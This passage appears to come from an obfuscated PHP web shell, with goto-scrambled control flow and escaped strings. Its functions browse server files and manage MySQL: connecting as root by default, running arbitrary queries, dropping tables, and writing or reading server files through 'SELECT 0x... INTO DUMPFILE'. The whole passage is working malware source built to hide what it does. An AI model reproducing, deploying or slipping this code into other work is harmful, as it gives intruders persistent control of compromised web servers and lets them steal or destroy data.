$dirdb["\146\x69\x6c\145\157\167\156\x65\x72"] = getUser($filepath); goto ylGOc; gQerl: $dirdata[] = $dirdb; goto cGrWE; qS9H5: $dirdb["\x66\151\154\x65\156\141\155\145"] = $file; goto VQ4ab; Kf1DH: $dirdb["\144\x69\162\160\145\162\155"] = getPerms($filepath); goto zAFKo; VQ4ab: $dirdb["\155\x74\151\155\145"] = @date("\131\x2d\x6d\x2d\144\40\x48\x3a\151\72\163", filemtime($filepath)); goto ZbpHN; ylGOc: $dirdb["\x64\151\162\154\151\x6e\153"] = $nowpath; goto mS1Kq; cGrWE: } else { goto Bs9eV; YBeyO: $filedb["\x66\151\154\x65\x70\145\x72\155"] = getPerms($filepath); goto mjIfR; OUrmQ: $filedb["\163\145\x72\166\145\162\x5f\154\x69\x6e\x6b"] = $filepath; goto TZ9O1; RhkyM: $filedb["\x6d\x74\151\155\x65"] = @date("\131\x2d\x6d\55\144\40\x48\72\x69\x3a\163", filemtime($filepath)); goto J_KEn; ojg5z: $filedb["\144\151\x72\x6c\x69\x6e\153"] = $nowpath; goto OUrmQ; b_WIz: $filedb["\163\x69\x7a\x65"] = sizecount(@filesize($filepath)); goto RhkyM; J_KEn: $filedb["\x66\151\154\x65\x63\150\155\157\144"] = getChmod($filepath); goto YBeyO; mjIfR: $filedb["\146\151\154\145\x6f\167\156\145\162"] = getUser($filepath); goto ojg5z; TZ9O1: $filedata[] = $filedb; goto JpCyp; Bs9eV: $filedb["\x66\151\154\145\x6e\141\x6d\x65"] = $file; goto b_WIz; JpCyp: } } goto rcSKX; rcSKX: unset($dirdb); goto EXi4D; a3nEL: } goto UZ9pL; f2Wn3: formhead(array("\x6e\x61\155\145" => "\143\x72\145\x61\164\145\x64\x69\x72")); goto eXxS1; pqpsR: p("\x20\x7c\40\74\141\x20\x68\x72\145\146\x3d\x22\x6a\141\x76\x61\x73\x63\162\151\x70\x74\x3a\147\157\x64\x69\162\x28\x27\56\x27\x29\x3b\x22\x3e\x53\143\162\x69\x70\164\120\x61\164\x68\74\57\x61\76"); goto s9orA; IlcBf: tbhead(); goto PrT_K; U9m1r: } elseif ($action == "\163\x71\154\146\151\154\145") { goto zRkui; hClEs: p("\74\x2f\x66\x6f\162\x6d\x3e"); goto Y5kYE; BpxbF: makehide("\x61\x63\x74\x69\157\x6e", "\x73\161\154\x66\151\154\145"); goto hClEs; UlE9q: makeinput(array("\156\141\155\145" => "\x64\x62\160\157\x72\164", "\163\x69\172\x65" => 4, "\166\141\154\165\145" => $dbport)); goto x96fJ; Soyow: !$dbuser && ($dbuser = "\162\157\x6f\164"); goto oONny; TZYJ6: p("\x3c\150\x32\76\x44\157\x77\156\154\x6f\141\x64\x20\146\x69\x6c\x65\74\57\150\x32\x3e"); goto lEtAP; tNpW4: p("\x3a"); goto UlE9q; Shvh8: makehide("\144\142\160\157\x72\164"); goto mvtmD; BnuHR: p("\x44\102\103\150\x61\x72\163\x65\x74\x3a"); goto mV7WG; CSEn7: !$dbhost && ($dbhost = "\154\x6f\x63\x61\x6c\150\x6f\x73\x74"); goto Soyow; IjZ6r: makeinput(array("\x6e\x61\x6d\145" => "\144\x62\150\157\x73\164", "\x73\x69\172\145" => 20, "\166\141\154\x75\x65" => $dbhost)); goto tNpW4; kedCo: p("\x3c\160\x3e\74\x62\x3e\x54\x68\x69\163\40\157\160\145\x72\141\x74\x69\157\x6e\x20\x74\150\145\x20\x44\x42\x20\x75\163\145\x72\40\x6d\x75\x73\x74\x20\150\141\x73\40\x46\111\x4c\105\40\x70\162\x69\x76\151\x6c\145\147\x65\x3c\x2f\x62\x3e\x3c\x2f\160\76"); goto efMtF; tQnQp: makehide("\x64\142\150\157\163\x74"); goto Shvh8; j4I0f: p("\x3c\146\x6f\162\155\x20\141\x63\x74\x69\x6f\156\75\x22" . $self . "\x22\40\155\x65\164\150\x6f\144\75\42\x50\117\123\124\42\40\145\156\x63\164\x79\160\145\75\x22\155\x75\154\x74\x69\160\x61\x72\164\x2f\x66\157\162\155\x2d\x64\x61\164\x61\42\40\x6e\141\x6d\x65\x3d\42\x6d\171\x73\x71\154\146\x69\154\145\42\x20\x69\x64\75\x22\155\x79\163\x71\x6c\146\151\x6c\145\x22\x3e"); goto jq_81; KQCG_: makehide("\x63\x68\141\x72\163\x65\x74"); goto qbz3I; efMtF: p("\74\x70\76\123\x61\x76\145\x20\160\x61\x74\150\50\x66\165\x6c\x6c\x70\141\x74\x68\x29\x3a\x20\74\x69\156\160\165\x74\x20\x63\154\141\163\163\75\42\151\x6e\x70\165\164\42\40\x6e\x61\155\x65\x3d\x22\163\141\x76\145\160\141\164\150\42\40\x73\x69\172\145\x3d\42\64\65\42\40\x74\171\160\145\x3d\42\164\145\x78\x74\42\40\x2f\x3e\x20\x43\x68\157\x6f\x73\145\40\141\x20\x66\x69\x6c\x65\x3a\x20\74\151\x6e\160\165\164\40\143\x6c\x61\163\163\75\42\151\x6e\x70\x75\x74\x22\40\156\141\x6d\145\75\42\x75\x70\154\157\x61\x64\146\x69\x6c\145\42\x20\164\x79\160\145\x3d\42\x66\x69\154\x65\x22\x20\57\76\40\74\x61\40\x68\162\x65\x66\75\42\152\x61\166\x61\x73\x63\x72\x69\160\164\72\155\x79\x73\x71\154\146\151\154\x65\50\x27\x6d\171\x73\161\154\165\160\x6c\x6f\141\x64\47\51\73\x22\x3e\125\160\154\x6f\x61\x64\x3c\57\141\x3e\x3c\57\x70\x3e"); goto TZYJ6; kQiWK: p("\104\x42\x48\157\163\164\x3a"); goto IjZ6r; yol11: makehide("\144\142\160\x61\x73\163"); goto Ne2lS; P0EJk: makeinput(array("\156\x61\155\x65" => "\144\142\x6e\x61\x6d\x65", "\163\151\x7a\x65" => 15, "\166\141\154\165\145" => $dbname)); goto BnuHR; a8ypb: formhead(array("\x74\151\x74\154\145" => "\115\x59\123\121\114\x20\111\156\146\x6f\x72\155\x61\x74\x69\x6f\156", "\x6e\x61\155\145" => "\144\x62\151\156\x66\157")); goto dWZR2; mV7WG: makeselect(array("\x6e\x61\155\145" => "\x63\150\141\x72\x73\145\164", "\157\x70\x74\151\157\156" => $charsetdb, "\163\145\154\145\x63\164\145\x64" => $charset, "\156\x6f\x6b\x65\171" => 1)); goto tP3ij; Ne2lS: makehide("\144\x62\156\141\155\145"); goto KQCG_; dWZR2: makehide("\141\143\164\x69\157\x6e", "\x73\161\154\x66\151\154\145"); goto sHKET; a18PE: p("\x44\x42\x4e\141\x6d\145\72"); goto P0EJk; oONny: !$dbport && ($dbport = "\63\x33\x30\66"); goto a8ypb; ZLPKY: makeinput(array("\156\141\155\145" => "\x64\x62\160\x61\x73\x73", "\163\x69\172\145" => 15, "\x76\141\154\165\x65" => $dbpass)); goto a18PE; JHJJf: makeinput(array("\156\141\x6d\x65" => "\144\x62\165\163\145\162", "\x73\151\x7a\x65" => 15, "\166\x61\x6c\165\145" => $dbuser)); goto TDEHl; lEtAP: p("\74\160\x3e\106\x69\154\x65\x3a\x20\74\x69\156\160\x75\x74\x20\x63\154\141\163\163\75\x22\x69\156\160\165\x74\42\40\156\x61\155\x65\x3d\x22\155\x79\163\161\x6c\x64\154\x66\x69\154\145\x22\40\x73\151\x7a\x65\x3d\x22\61\61\65\x22\40\164\171\160\145\x3d\x22\164\x65\170\x74\x22\x20\x2f\x3e\40\x3c\141\x20\x68\x72\145\x66\x3d\42\152\141\x76\141\x73\143\162\151\x70\x74\x3a\x6d\x79\x73\161\x6c\146\x69\154\x65\x28\47\155\x79\x73\x71\154\144\157\167\x6e\x27\51\x3b\42\x3e\x44\x6f\167\156\x6c\x6f\141\144\x3c\57\141\x3e\74\57\x70\x3e"); goto tQnQp; mvtmD: makehide("\144\142\165\x73\x65\162"); goto yol11; sHKET: p("\x3c\160\x3e"); goto kQiWK; x96fJ: p("\x44\x42\x55\x73\145\x72\72"); goto JHJJf; OhMuU: formfoot(); goto j4I0f; tP3ij: p("\74\x2f\x70\x3e"); goto OhMuU; TDEHl: p("\x44\102\x50\141\x73\163\x3a"); goto ZLPKY; ezcUC: echo "\x3c\x73\x63\162\151\x70\x74\x20\x74\171\160\x65\75\42\x74\x65\x78\x74\57\x6a\x61\166\141\x73\143\162\151\x70\x74\42\76\15\12\146\x75\156\143\164\x69\x6f\x6e\40\x6d\171\x73\161\154\146\151\154\145\x28\x64\157\151\156\x67\x29\x7b\xd\xa\11\151\x66\50\x21\144\x6f\x69\x6e\147\51\x20\162\145\x74\x75\x72\156\73\xd\12\11\44\50\x27\144\157\x69\x6e\147\x27\x29\x2e\x76\x61\154\165\x65\75\x64\x6f\151\156\147\73\15\12\x9\x24\x28\47\155\171\x73\x71\x6c\146\x69\x6c\x65\x27\51\56\144\142\x68\x6f\x73\164\56\x76\x61\154\x75\x65\x3d\44\50\47\144\142\151\156\x66\x6f\47\x29\56\x64\142\x68\157\163\164\56\x76\x61\154\x75\x65\x3b\xd\xa\11\x24\x28\x27\x6d\171\163\161\154\146\151\154\x65\47\x29\56\144\x62\x70\157\x72\x74\56\166\141\x6c\x75\145\75\44\50\47\144\142\x69\156\x66\157\x27\x29\56\144\x62\x70\157\162\x74\x2e\x76\x61\154\x75\145\73\xd\xa\x9\x24\x28\47\x6d\x79\163\x71\x6c\x66\151\154\x65\47\x29\56\x64\142\x75\x73\x65\162\56\x76\x61\154\165\145\75\44\50\x27\144\142\x69\x6e\x66\157\47\x29\x2e\144\x62\165\x73\x65\162\56\166\x61\154\x75\145\x3b\xd\12\x9\44\x28\x27\155\x79\163\x71\154\146\151\x6c\145\x27\x29\56\x64\x62\160\x61\163\163\x2e\166\141\154\x75\x65\x3d\44\50\x27\x64\x62\x69\156\x66\157\x27\x29\56\x64\142\x70\x61\x73\163\56\x76\x61\x6c\165\x65\73\15\12\11\x24\50\x27\x6d\171\163\161\x6c\146\x69\154\x65\x27\x29\56\144\x62\156\x61\x6d\145\56\x76\141\x6c\165\x65\75\x24\50\47\144\142\151\x6e\146\157\x27\x29\x2e\144\142\x6e\141\x6d\x65\56\x76\x61\x6c\165\145\73\15\12\x9\x24\x28\47\x6d\171\163\x71\x6c\x66\x69\x6c\x65\x27\x29\56\143\150\x61\162\x73\x65\164\x2e\x76\141\154\x75\x65\x3d\x24\50\x27\144\x62\x69\x6e\x66\x6f\47\51\x2e\143\x68\141\x72\163\x65\x74\56\x76\x61\x6c\165\145\73\15\xa\x9\44\x28\47\x6d\x79\163\161\x6c\x66\x69\x6c\x65\47\x29\x2e\163\x75\142\155\151\164\50\x29\x3b\xd\xa\x7d\15\xa\74\57\x73\143\162\x69\160\164\76\15\12"; goto CSEn7; zRkui: if ($doing == "\155\171\163\x71\154\x75\x70\154\157\141\144") { goto fkYBP; efE48: if (file_exists($savepath)) { m("\x54\150\x65\x20\x67\157\x61\154\x20\x66\x69\x6c\145\x20\150\x61\x73\40\141\x6c\x72\145\141\144\x79\40\x65\170\151\x73\164\145\144"); } else { if (!$filename) { m("\x50\154\145\x61\163\145\40\143\x68\x6f\x6f\163\145\40\x61\x20\x66\151\x6c\x65"); } else { goto BEUmP; WKkEG: m($result ? "\125\160\x6c\x6f\x61\144\40\163\165\143\x63\145\x73\163" : "\125\160\154\x6f\x61\144\x20\x68\x61\x73\x20\x66\x61\151\x6c\x65\144\x3a\x20" . mysql_error()); goto hQtXe; oq1uL: $result = q("\123\x45\x4c\x45\103\x54\x20\x30\x78{$contents}\40\x46\x52\117\x4d\x20\x6d\171\x73\161\154\x2e\x75\163\145\x72\x20\x49\x4e\124\117\40\x44\125\x4d\120\x46\111\114\105\40\47{$savepath}\x27\x3b"); goto WKkEG; mahLK: @fclose($fp); goto BV694; JOYFk: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto oq1uL; BEUmP: $fp = @fopen($filename, "\162"); goto bWYnu; bWYnu: $contents = @fread($fp, filesize($filename)); goto mahLK; BV694: $contents = bin2hex($contents); goto dTp4S; dTp4S: if (!$upname) { $upname = $file["\156\141\155\145"]; } goto JOYFk; hQtXe: } } goto GRVI3; dJ0EW: $filename = $file["\x74\x6d\x70\x5f\156\x61\155\x65"]; goto efE48; fkYBP: $file = $_FILES["\165\x70\154\x6f\x61\x64\146\151\x6c\x65"]; goto dJ0EW; GRVI3: } goto ezcUC; jq_81: p("\74\x68\x32\76\x55\160\x6c\157\141\144\x20\146\151\x6c\145\x3c\x2f\150\x32\76"); goto kedCo; qbz3I: makehide("\144\157\151\156\147"); goto BpxbF; Y5kYE: } elseif ($action == "\x6d\x79\163\x71\154\141\x64\x6d\x69\156") { goto JzOfv; TQ3A5: p("\x44\102\120\x61\x73\x73\x3a"); goto wj8NW; VHU3G: makeinput(array("\x6e\141\x6d\x65" => "\x64\x62\x68\x6f\x73\164", "\x73\x69\x7a\x65" => 20, "\x76\x61\x6c\x75\x65" => $dbhost)); goto emZjl; URp5G: formfoot(); goto QDtkq; QPP1l: p($dbform); goto J9cMl; CeBs5: makehide("\x61\x63\164\151\157\156", "\155\171\x73\161\154\x61\144\x6d\151\156"); goto wLuz0; IvRf5: if (isset($charset)) { $dbform .= "\x3c\x69\x6e\x70\165\x74\x20\x74\x79\x70\145\75\x22\x68\x69\144\144\145\156\x22\x20\x69\144\75\x22\x63\150\141\x72\163\145\164\x22\40\x6e\x61\155\145\x3d\x22\143\x68\x61\x72\x73\145\x74\42\x20\166\141\154\x75\145\x3d\42{$charset}\x22\x20\x2f\x3e\12"; } goto CPkkn; MEsKy: $page = intval($page); goto kVQi1; O_e4r: p($dbform); goto URp5G; kOmn7: formhead(array("\x74\x69\x74\x6c\x65" => "\x4d\x59\123\x51\x4c\40\x4d\x61\156\141\x67\x65\x72")); goto chFIW; fNAYK: $cachetables = array(); goto kTtaA; chFIW: makehide("\x61\143\164\151\157\x6e", "\155\171\x73\x71\154\141\x64\x6d\151\x6e"); goto komGY; dPKog: formhead(array("\156\141\x6d\145" => "\162\x65\x63\x6f\162\x64\x6c\x69\163\164")); goto l_g9f; xJwFh: if ($update && $insertsql && $base64) { goto fnSzM; wFsXF: if ($valstr) { goto CIDPx; vo8jM: m(q("\x55\120\x44\x41\124\x45\40{$tablename}\x20\123\x45\124\x20{$valstr}\x20\x57\110\x45\122\105\40{$where}\x20\x4c\x49\115\111\124\40\61") ? "\122\x65\143\x6f\162\x64\40\x75\160\x64\x61\x74\x69\156\147" : mysql_error()); goto c53iZ; WIpiy: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto vo8jM; CIDPx: $where = base64_decode($base64); goto WIpiy; c53iZ: } goto amQoD; fnSzM: $valstr = $tmp = ''; goto g0r1_; g0r1_: foreach ($insertsql as $key => $val) { $valstr .= $tmp . $key . "\x3d\x27" . addslashes($val) . "\x27"; $tmp = "\x2c"; } goto wFsXF; amQoD: } goto ev7E2; PGCTJ: if ($tablename && $doing == "\144\162\157\x70") { $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); if (q("\x44\x52\117\120\40\124\x41\x42\x4c\x45\x20{$tablename}")) { m("\x44\162\157\160\40\x74\141\142\154\x65\x20\x6f\x66\x20\163\165\x63\x63\145\163\163"); $tablename = ''; } else { m(mysql_error()); } } goto kOmn7; BUdbL: if (isset($dbname)) { $dbform .= "\74\x69\156\x70\x75\x74\x20\x74\171\160\x65\x3d\x22\x68\151\x64\144\x65\x6e\42\40\x69\144\75\x22\x64\x62\156\141\155\145\42\x20\156\141\155\x65\x3d\x22\x64\x62\x6e\141\x6d\x65\42\40\x76\141\x6c\165\x65\75\x22{$dbname}\42\x20\x2f\76\12"; } goto IvRf5; FbXhR: $dbform = "\74\x69\x6e\160\x75\x74\40\164\171\x70\x65\x3d\42\x68\151\x64\144\145\156\42\x20\x69\144\x3d\42\143\x6f\x6e\156\145\x63\x74\42\40\x6e\x61\x6d\x65\x3d\x22\x63\157\156\x6e\x65\143\164\x22\x20\166\x61\x6c\x75\145\75\42\61\x22\40\x2f\x3e"; goto t8iCH; pMjfb: makeselect(array("\156\141\x6d\x65" => "\143\150\x61\x72\163\145\x74", "\157\x70\164\x69\x6f\156" => $charsetdb, "\163\x65\154\x65\x63\x74\145\x64" => $charset, "\x6e\x6f\153\x65\171" => 1)); goto c8B3R; B_VL6: if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) { goto is4sZ; EV4Sy: while ($db = mysql_fetch_array($query)) { $dbs[$db["\x44\x61\164\141\x62\141\x73\145"]] = $db["\x44\x61\164\141\x62\141\163\145"]; } goto GvY6w; lCqyx: $tabledb = array(); goto NSfxF; FML_1: $query = q("\x53\x48\x4f\127\x20\x44\101\124\x41\x42\101\123\105\x53"); goto DyDor; is4sZ: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto WD9lk; GvY6w: makeselect(array("\164\151\164\154\145" => "\120\154\x65\x61\163\x65\40\163\x65\154\145\x63\x74\40\141\x20\144\x61\x74\x61\142\x61\x73\x65\x3a", "\156\x61\x6d\145" => "\x64\x62\x5b\x5d", "\x6f\x70\164\151\x6f\x6e" => $dbs, "\x73\x65\154\x65\143\x74\x65\x64" => $dbname, "\x6f\x6e\x63\150\x61\x6e\x67\x65" => "\x6d\157\144\144\x62\x6e\141\x6d\x65\50\x74\150\151\163\56\x6f\160\164\151\x6f\x6e\x73\133\x74\x68\x69\163\x2e\163\145\x6c\145\x63\164\145\144\111\156\144\x65\x78\x5d\56\x76\x61\x6c\165\145\x29", "\x6e\x65\x77\x6c\x69\156\145" => 1)); goto lCqyx; sXQ7G: $dbs[] = "\x2d\55\x20\x53\x65\154\x65\x63\164\40\x61\x20\x64\x61\164\x61\142\x61\x73\x65\40\x2d\x2d"; goto EV4Sy; rzv9F: $highver = $mysqlver > "\64\56\61" ? 1 : 0; goto FML_1; GUqEW: p("\74\160\x3e\x4d\171\x53\x51\x4c\40" . $mysqlver . "\40\162\x75\x6e\x6e\x69\x6e\147\x20\151\x6e\40" . $dbhost . "\40\x61\x73\x20" . $dbuser . "\100" . $dbhost . "\x3c\57\160\x3e"); goto rzv9F; WD9lk: $mysqlver = mysql_get_server_info(); goto GUqEW; DyDor: $dbs = array(); goto sXQ7G; NSfxF: if ($dbname) { goto s4O0k; zB6ms: makehide("\164\141\142\x6c\145\x6e\x61\155\x65", $tablename); goto QZxwf; hOzFp: $allowedit = 0; goto Hy3lZ; E5MRR: p($dbform); goto lSR9X; IMv0j: p("\74\160\x3e\x3c\164\x61\142\154\x65\x20\167\151\x64\x74\150\x3d\x22\62\60\x30\42\40\142\x6f\x72\x64\145\x72\75\42\60\42\x20\x63\x65\154\x6c\x70\x61\144\x64\x69\x6e\x67\75\x22\60\x22\x20\x63\145\154\x6c\x73\160\141\143\x69\x6e\x67\x3d\x22\60\x22\x3e\74\164\x72\76\x3c\x74\x64\x20\143\x6f\154\x73\x70\x61\x6e\x3d\x22\62\x22\x3e\x52\165\156\40\123\121\114\40\x71\x75\x65\162\x79\57\161\x75\145\162\x69\145\163\x20\x6f\156\40\144\141\x74\x61\x62\141\x73\x65\40" . $dbname . "\72\x3c\57\164\x64\76\74\x2f\x74\162\76\74\x74\162\76\74\164\x64\x3e\74\164\x65\x78\x74\141\162\x65\x61\x20\x6e\x61\x6d\145\x3d\x22\163\161\154\x5f\161\165\145\x72\x79\42\40\x63\x6c\141\163\163\75\x22\x61\162\x65\x61\x22\x20\163\164\171\154\145\x3d\42\167\151\144\x74\x68\x3a\x36\x30\x30\160\170\x3b\x68\x65\x69\x67\150\164\72\x35\60\x70\x78\73\157\x76\x65\x72\x66\x6c\157\167\x3a\141\x75\164\157\73\x22\x3e" . htmlspecialchars($sql_query, ENT_QUOTES) . "\74\x2f\x74\145\x78\164\141\162\x65\141\76\x3c\57\164\x64\76\74\164\144\x20\x73\x74\x79\x6c\x65\75\42\160\141\144\x64\151\156\147\x3a\x30\40\x35\160\x78\73\42\76\x3c\151\x6e\160\165\164\x20\x63\154\x61\x73\x73\x3d\42\142\164\x22\40\x73\164\x79\x6c\145\x3d\42\150\x65\151\x67\150\164\72\65\60\160\170\73\x22\x20\156\141\155\145\75\x22\x73\x75\x62\x6d\x69\x74\42\40\x74\x79\x70\x65\75\42\163\165\142\155\x69\164\x22\40\x76\141\154\165\x65\75\x22\x51\x75\x65\x72\x79\42\x20\x2f\x3e\74\57\164\x64\76\74\x2f\164\x72\76\x3c\57\x74\x61\142\x6c\x65\76\x3c\x2f\x70\x3e"); goto zB6ms; s4O0k: p("\x3c\160\x3e"); goto ZxO2m; ZxO2m: p("\103\165\162\162\x65\156\x74\40\144\141\142\141\142\x61\163\x65\x3a\40\x3c\141\x20\x68\162\145\146\x3d\42\x6a\141\x76\141\163\143\162\x69\160\x74\x3a\x6d\157\x64\144\x62\156\141\155\145\x28\47" . $dbname . "\47\51\73\42\76" . $dbname . "\74\x2f\x61\76"); goto jqj49; jqj49: if ($tablename) { p("\x20\x7c\x20\103\x75\162\162\145\x6e\164\40\124\x61\142\154\x65\x3a\x20\x3c\141\x20\x68\162\x65\x66\x3d\42\x6a\141\x76\141\x73\x63\x72\151\160\x74\72\163\145\164\164\x61\142\x6c\145\x28\x27" . $tablename . "\x27\51\73\x22\x3e" . $tablename . "\74\x2f\141\x3e\x20\133\40\x3c\x61\x20\150\162\x65\146\75\42\x6a\141\166\x61\x73\143\162\x69\x70\164\72\163\145\164\164\141\x62\x6c\145\50\47" . $tablename . "\47\54\40\x27\x69\156\x73\x65\x72\164\47\x29\73\x22\x3e\111\x6e\163\145\x72\x74\x3c\57\x61\x3e\x20\x7c\40\74\141\40\150\x72\145\146\75\42\152\141\x76\141\163\143\162\151\160\164\x3a\163\145\x74\x74\141\x62\x6c\145\50\x27" . $tablename . "\47\54\x20\47\x73\x74\x72\x75\x63\164\x75\162\145\x27\x29\73\42\x3e\123\x74\162\x75\x63\164\x75\x72\x65\x3c\57\141\x3e\x20\x7c\40\74\x61\x20\150\x72\145\x66\x3d\42\x6a\x61\166\x61\163\143\x72\x69\160\x74\72\163\x65\x74\164\141\x62\154\145\x28\47" . $tablename . "\47\x2c\x20\x27\x64\162\x6f\x70\47\x29\x3b\x22\x3e\x44\x72\157\x70\74\x2f\141\76\40\135"); } goto hVsT8; GmEvk: if ($sql_query) { $runquery = 1; } goto hOzFp; NelWf: p("\x3c\x66\x6f\x72\x6d\40\141\143\164\151\157\156\x3d\x22" . $self . "\42\40\x6d\145\x74\150\157\144\x3d\42\120\x4f\123\x54\x22\76"); goto IMv0j; QZxwf: makehide("\x61\x63\x74\x69\157\x6e", "\155\171\163\161\x6c\x61\x64\x6d\x69\x6e"); goto E5MRR; rclpr: $getnumsql = ''; goto JOUy0; pHgCQ: if ($tablename || $runquery && $sql_query) { if ($doing == "\163\164\x72\x75\143\164\165\162\x65") { goto Bsl8A; MWHEW: p("\x3c\x74\x61\142\154\145\40\x62\157\162\144\x65\x72\x3d\42\x30\42\40\143\145\154\x6c\160\141\144\x64\151\x6e\x67\75\x22\x33\x22\x20\143\x65\154\x6c\x73\160\141\x63\x69\x6e\147\x3d\x22\60\42\76"); goto yPvoT; NkGTR: p("\x3c\x74\144\x3e\x55\156\151\x71\x75\x65\74\57\164\x64\x3e"); goto MhVOC; Pqx2H: p("\x3c\164\144\x3e\103\157\x6d\155\x65\x6e\164\x3c\57\x74\x64\76"); goto aSAGY; IMtKH: $rowdb = array(); goto DOpBe; JsIPx: p("\x3c\164\144\x3e\123\145\161\x5f\x69\156\137\151\156\x64\145\x78\x3c\57\164\144\x3e"); goto a3uoc; IPM0D: p("\74\x74\x72\x20\x63\x6c\x61\163\163\x3d\42\150\x65\x61\x64\x22\x3e"); goto BLt38; a3uoc: p("\x3c\x74\144\x3e\106\151\145\x6c\144\x3c\57\164\144\x3e"); goto GARfc; zBHbh: tbfoot(); goto k1k10; W9L2c: p("\x3c\x68\63\x3e\x49\x6e\144\x65\170\x65\163\x3c\x2f\x68\x33\x3e"); goto SlZMZ; RU0le: p("\x3c\57\164\x72\x3e"); goto Sikef; UcIso: p("\x3c\x74\144\76\x4e\165\x6c\x6c\x3c\x2f\164\144\x3e"); goto Pqx2H; DOpBe: while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } goto W9L2c; Sikef: foreach ($rowdb as $row) { goto J2iyi; BfVXV: p("\x3c\x74\x64\76" . $row["\x43\157\154\x6c\x61\x74\151\157\x6e"] . "\x26\156\142\163\160\x3b\x3c\57\164\144\76"); goto ZbuP1; E5l2i: p("\x3c\x74\x64\x3e" . $row["\x46\x69\145\154\x64"] . "\x3c\57\164\144\76"); goto TrXGz; Gfzxy: p("\x3c\164\144\x3e" . $row["\105\x78\164\162\141"] . "\x26\156\142\163\x70\73\x3c\x2f\164\144\x3e"); goto WtCrJ; nhFaP: p("\x3c\x74\144\76" . $row["\x4b\x65\171"] . "\46\156\142\x73\160\73\x3c\x2f\164\x64\76"); goto nL0e2; nL0e2: p("\x3c\x74\144\76" . $row["\104\x65\x66\x61\165\x6c\164"] . "\46\156\142\163\160\x3b\74\57\x74\x64\x3e"); goto Gfzxy; ZbuP1: p("\x3c\x74\x64\x3e" . $row["\x4e\165\154\x6c"] . "\46\x6e\142\x73\x70\73\74\57\164\144\76"); goto nhFaP; TrXGz: p("\x3c\x74\x64\x3e" . $row["\x54\171\160\x65"] . "\x3c\x2f\164\144\x3e"); goto BfVXV; ib_KS: p("\74\x74\x64\x3e" . $row["\103\x6f\x6d\x6d\x65\156\x74"] . "\x26\156\142\163\160\73\74\x2f\x74\x64\x3e"); goto Ktd1x; Ktd1x: p("\x3c\x2f\x74\x72\76"); goto WuriN; KaBow: p("\x3c\164\162\x20\143\x6c\141\163\x73\x3d\42" . $thisbg . "\x22\40\157\156\x6d\157\165\163\x65\157\x76\x65\162\75\x22\164\150\x69\163\56\143\154\x61\163\x73\116\141\x6d\145\x3d\x27\x66\157\143\x75\x73\x27\x3b\x22\x20\x6f\156\x6d\x6f\x75\x73\145\157\x75\x74\75\x22\164\150\151\163\x2e\143\154\x61\x73\x73\x4e\141\x6d\x65\75\x27" . $thisbg . "\x27\x3b\42\76"); goto E5l2i; J2iyi: $thisbg = bg(); goto KaBow; WtCrJ: p("\x3c\x74\x64\x3e" . $row["\120\x72\151\166\x69\154\x65\x67\x65\x73"] . "\46\x6e\x62\163\x70\x3b\x3c\x2f\x74\144\x3e"); goto ib_KS; WuriN: } goto zBHbh; zH0gQ: p("\x3c\x74\144\x3e\x45\170\164\162\141\x3c\x2f\x74\x64\76"); goto Ibly4; yPvoT: p("\x3c\164\162\40\143\x6c\141\x73\x73\x3d\x22\150\145\141\144\x22\x3e"); goto IGjWm; IGjWm: p("\x3c\164\144\76\106\x69\x65\x6c\144\x3c\57\164\144\76"); goto c3CgE; zZHCg: p("\74\x74\x64\x3e\x43\x6f\155\155\145\156\x74\x3c\x2f\164\144\76"); goto RU0le; y8SMf: foreach ($rowdb as $row) { goto jxicj; a_wwy: p("\74\x74\x64\x3e" . ($row["\x43\x61\162\x64\151\x6e\141\x6c\151\164\171"] ? $row["\103\141\162\144\x69\156\141\x6c\151\x74\171"] : 0) . "\x26\156\x62\163\x70\x3b\x3c\x2f\164\x64\x3e"); goto En3uK; VRty1: p("\74\164\x64\76" . $row["\x49\156\x64\x65\170\137\164\x79\x70\x65"] . "\74\57\164\x64\76"); goto tW4Uq; PaXzi: p("\x3c\164\144\x3e" . $row["\123\145\161\x5f\x69\156\137\x69\x6e\x64\145\x78"] . "\x3c\x2f\x74\x64\76"); goto fEwPd; fEwPd: p("\x3c\164\x64\76" . $row["\103\x6f\x6c\x75\155\x6e\137\156\x61\x6d\x65"] . ($row["\123\165\x62\x5f\160\x61\x72\164"] ? "\50" . $row["\x53\165\142\137\x70\x61\162\164"] . "\x29" : '') . "\x26\156\142\x73\x70\73\74\57\164\x64\x3e"); goto a_wwy; eyjyS: p("\x3c\164\144\76" . $row["\116\x75\x6c\x6c"] . "\x26\x6e\142\163\160\73\74\57\x74\144\76"); goto W_Aa4; Y87LY: p("\74\164\x72\40\143\x6c\x61\x73\x73\75\x22" . $thisbg . "\x22\x20\157\156\155\x6f\x75\163\145\x6f\x76\145\x72\x3d\x22\164\150\151\163\x2e\x63\154\x61\x73\x73\116\x61\x6d\145\75\x27\x66\x6f\x63\x75\163\47\73\42\40\157\156\x6d\x6f\x75\x73\145\157\165\x74\x3d\42\164\x68\x69\x73\56\143\x6c\x61\163\163\116\141\155\145\x3d\x27" . $thisbg . "\47\x3b\x22\76"); goto yDfRC; yDfRC: p("\x3c\x74\144\x3e" . $row["\x4b\x65\171\137\156\x61\x6d\x65"] . "\x3c\x2f\x74\x64\76"); goto VRty1; jxicj: $thisbg = bg(); goto Y87LY; W_Aa4: p("\x3c\164\144\x3e" . $row["\103\157\155\x6d\145\156\164"] . "\46\156\142\163\160\x3b\74\x2f\x74\x64\76"); goto mXPwS; En3uK: p("\74\x74\144\76" . $row["\103\x6f\x6c\x6c\141\164\151\157\x6e"] . "\x26\x6e\142\163\160\x3b\74\57\164\x64\x3e"); goto eyjyS; rqDI0: p("\x3c\x74\x64\76" . ($row["\x50\141\143\x6b\145\144"] === null ? "\116\x6f" : $row["\x50\x61\x63\153\145\144"]) . "\46\x6e\x62\x73\160\x3b\x3c\x2f\x74\x64\76"); goto PaXzi; mXPwS: p("\x3c\x2f\x74\162\x3e"); goto f_1pW; tW4Uq: p("\74\x74\144\76" . ($row["\116\157\156\137\x75\156\151\x71\x75\x65"] ? "\x4e\157" : "\x59\145\163") . "\46\156\142\x73\x70\x3b\74\57\x74\144\76"); goto rqDI0; f_1pW: } goto ZRC5t; ho8zr: while ($row = mysql_fetch_array($result)) { $rowdb[] = $row; } goto b70Oo; us3WR: 